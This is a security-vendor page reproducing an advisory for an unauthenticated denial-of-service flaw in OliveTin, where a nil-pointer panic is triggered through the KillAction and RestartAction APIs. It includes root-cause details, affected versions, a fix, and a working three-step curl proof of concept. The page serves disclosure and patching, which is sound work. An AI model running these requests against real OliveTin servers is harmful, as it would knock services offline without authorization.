NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

OliveTin has crash on NPE by calling APIs with invalid bindings or log referencesGHSA-fwhj-785h-43hh

MEDIUMFix: OliveTin/OliveTin@bb14c5d

GHSA-fwhj-785h-43hh is a medium-severity (CVSS 5.3) vulnerability in github.com/OliveTin/OliveTin. A fix is available for github.com/OliveTin/OliveTin — see the affected versions and patch details below.

Also known asGO-2026-4621
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Mar 23, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐹github.com/OliveTin/OliveTin

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via StartActionByGet (invalid action ID), then calling KillAction or RestartAction on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (Empty reply from server), enabling denial of service through panic/log/CPU amplification.

Details

The issue is caused by this flow:

  1. StartActionByGet accepts arbitrary actionId and still calls executor:

    • service/internal/api/api.go:239
  2. Executor stores a log entry before binding validation:

    • service/internal/executor/executor.go:519
  3. If binding is nil, execution stops, but the log entry remains:

    • service/internal/executor/executor.go:781
  4. KillAction dereferences execReqLogEntry.Binding.Action without checking Binding:

    • service/internal/api/api.go:79
  5. RestartAction has the same unsafe dereference:

    • service/internal/api/api.go:1285

Because the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.

PoC

Environment:

  • OliveTin default single frontend on http://localhost:1337
  • Reproduced on main (commit 235493e) and tag 3000.11.0
  1. Create orphan tracking ID with invalid action:
T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \
  -H 'Content-Type: application/json' \
  --data '{"actionId":"does-not-exist"}' \
  | sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p')
echo "$T"

2. Trigger panic in RestartAction:

curl -v -X POST http://localhost:1337/api/RestartAction \
  -H 'Content-Type: application/json' \
  --data "{\"executionTrackingId\":\"$T\"}"

3. Trigger panic in KillAction:

curl -v -X POST http://localhost:1337/api/KillAction \
  -H 'Content-Type: application/json' \
  --data "{\"executionTrackingId\":\"$T\"}"

Observed client output:

- curl: (52) Empty reply from server

Observed server log:

- panic serving ... runtime error: invalid memory address or nil pointer dereference
- stack points to:
    - service/internal/api/api.go:79 (KillAction)
    - service/internal/api/api.go:1285 (RestartAction)

Impact

This is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/OliveTin/OliveTinall versions0.0.0-20260304225158-bb14c5da3e64go get github.com/OliveTin/OliveTin@v0.0.0-20260304225158-bb14c5da3e64

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/OliveTin/OliveTin, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/OliveTin/OliveTin to 0.0.0-20260304225158-bb14c5da3e64 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fwhj-785h-43hh is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

### Summary An unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via `StartActionByGet` (invalid action ID), then calling `KillAction` or `RestartAction` on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (`Empty reply from server`), enabling denial of service through panic/log/CPU amplification. ### Details The issue is caused by this flow: 1. `StartActionByGet` accepts arbitrary `actionId` and still calls executor: - `service/internal/api/api.go:239`
O3 Security · Impact-Aware SCA

Is GHSA-fwhj-785h-43hh in your dependencies?

Find it across Go, including transitive dependencies.

OliveTin has crash on NPE by calling APIs with invalid…